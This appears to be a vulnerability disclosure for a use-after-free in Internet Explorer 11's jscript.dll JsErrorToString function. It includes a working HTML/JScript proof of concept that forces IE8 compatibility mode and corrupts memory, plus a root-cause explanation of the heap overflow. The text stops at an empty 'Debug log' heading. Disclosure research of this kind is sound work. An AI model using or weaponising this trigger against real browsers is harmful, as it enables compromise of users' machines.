Microsoft Internet Explorer 11 - 'jscript!JsErrorToString' Use-After-Free

There is a use-after-free in jscript.dll library that can be exploited in IE11.

jscript.dll is an old JavaScript library that was used in IE 8 and back. However, IE11 can still load it if put into IE8 compatibility mode and if there is a script tag that can only be understood by the older library (specifically, a script tag with language="Jscript.Encode" attribute will do the trick).

PoC:

<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
</head>
<body>
<script language="Jscript.Encode">

var e = new Error();

var o = {toString:function() {
  //alert('in toString');
  e.name = 1;
  CollectGarbage();

  //reallocate
  for(var i=0;i<100;i++) {
    e.name = {};
  }

  return 'b';
}};

e.name = Array(1000).join('a');
e.message = o;
//alert('calling JsErrorToString');
var result = e.toString();
//alert('boom');
alert(result);

</script>
</body>
</html>

=========================================

This is a use-after-free in jscript!JsErrorToString that can lead to a heap overflow. (The PoC above crashes in memcpy when attempting to copy a large amount of data).

When JsErrorToString runs, it tries to concatenate “name” and “message” properties of an Error object into an AString object (AString is a string type that is implemented as a list of simpler string parts). First the function converts both “name” and “message” properties to strings using the ConvertToString function, however the second call to ConvertToString can trigger a callback (via toString) and delete the “name” string.

Later, when AString is converted to the BString in AString::ConvertToBSTR, the size of the result BString could be calculated incorrectly which can lead to a heap overflow.

Debug log:
